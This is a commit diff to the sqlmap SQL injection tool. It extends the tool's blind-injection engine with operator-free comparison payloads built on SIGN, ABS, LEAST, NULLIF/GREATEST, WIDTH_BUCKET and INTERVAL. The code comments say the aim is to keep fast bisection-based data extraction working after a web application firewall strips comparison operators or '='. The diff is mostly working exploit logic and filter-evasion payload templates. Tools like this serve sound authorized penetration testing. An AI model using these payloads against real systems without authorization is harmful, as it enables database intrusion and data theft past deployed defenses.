Expanding Esperanto engine with more log2 comparators

This commit is contained in:
Miroslav Štampar 2026-07-21 14:04:30 +02:00
parent e8512c8c13
commit 016c388a13
4 changed files with 29 additions and 9 deletions

View file

@ -429,11 +429,9 @@ class _Discovery(object):
elif self._ask("2 BETWEEN 2 AND 3") and not self._ask("5 BETWEEN 2 AND 3"):
self._comparator = "between"
self.dialect.notes.append("'>' unusable; bisecting via BETWEEN")
elif self._ask("SIGN(2-1)=1") and not self._ask("SIGN(2-3)=1") and not self._ask("SIGN(2-2)=1"):
# ordered, log2-efficient, yet needs NO comparison operator (only SIGN(), '-', '=') -
# survives a WAF stripping '>' AND '<' AND BETWEEN, without dropping to slow membership
self._comparator = "sign"
self.dialect.notes.append("'>'/BETWEEN unusable; bisecting via SIGN() (no comparison operator)")
elif self._discoverOperatorFreeComparator():
# picked an ordered (log2) comparator that needs NO comparison operator - see below
pass
else:
self._comparator = "membership"
self.dialect.notes.append("no ordered comparator; using order-free IN() subset bisection")
@ -441,6 +439,27 @@ class _Discovery(object):
except OracleUndecided:
pass # keep the safe defaults (gt / IN-ok)
def _discoverOperatorFreeComparator(self):
# Manual-derived ways to express "expr > n" using NO comparison operator (>,<,>=,<=,BETWEEN):
# each is an ORDERED (log2) test, so efficient bisection survives a WAF that strips the
# comparison operators instead of dropping to slow order-free membership. Ordered universal-
# first; each self-selects by a 3-point probe (2>1 true, 2>3/2>2 false). {expr}/{n} filled at use.
candidates = (
("sign", "SIGN(({expr})-({n}))=1"), # SIGN(): every major DBMS
("abs", "ABS(({expr})-({n})-1)=({expr})-({n})-1"), # ABS(): backup if SIGN is name-filtered
("least", "LEAST(({expr}),({n})+1)=({n})+1"), # GREATEST/LEAST family (expr once)
("nullif", "NULLIF(GREATEST(({expr}),({n})),({n})) IS NOT NULL"), # needs NO '=' -> survives '=' filtering
("widthbucket", "WIDTH_BUCKET(({expr}),0,({n})+1,1)=2"), # PostgreSQL / Oracle
("interval", "INTERVAL(({expr}),({n})+1)=1"), # MySQL / MariaDB
)
for name, tmpl in candidates:
if self._ask(tmpl.format(expr=2, n=1)) and not self._ask(tmpl.format(expr=2, n=3)) and not self._ask(tmpl.format(expr=2, n=2)):
self._comparator = name
self._cmpTemplate = tmpl
self.dialect.notes.append("'>'/BETWEEN unusable; ordered bisection via %s() (no comparison operator)" % name.upper())
return True
return False
def _charcodeSemantics(self, tmpl):
# ASCII-only ROUND-TRIP: build a char from its code, then read the code back.
# code(char(N))==N means extract-then-rebuild is faithful for N. no raw

View file

@ -45,7 +45,8 @@ class Esperanto(_OracleCore, _Discovery, _Extraction, _Enumeration):
self._hexOrdered = None
self._backslashEscape = None
self._codeTmpl = None
self._comparator = "gt" # ordered-compare op: "gt" / "between" / "membership"
self._comparator = "gt" # ordered-compare op: "gt" / "between" / operator-free rung / "membership"
self._cmpTemplate = None # operator-free ordered rung: an "expr > n" template with {expr}/{n}
self._inOk = True # IN(...) usable (order-free subset bisection)
self._lastTruncated = False
self._discovered = False

View file

@ -133,8 +133,8 @@ class _Extraction(object):
# BETWEEN expresses the same range test without the '>'/'<' a WAF may strip.
if self._comparator == "between":
return self._ask("%s BETWEEN %d AND %d" % (expr, n + 1, high))
if self._comparator == "sign":
return self._ask("SIGN((%s)-(%d))=1" % (expr, n))
if self._cmpTemplate is not None: # any operator-free ordered rung (sign/abs/least/nullif/...)
return self._ask(self._cmpTemplate.format(expr=expr, n=n))
return self._ask("%s>%d" % (expr, n))
def _numDefined(self, expr):

View file

@ -20,7 +20,7 @@ from lib.core.enums import OS
from thirdparty import six
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.10.7.170"
VERSION = "1.10.7.171"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)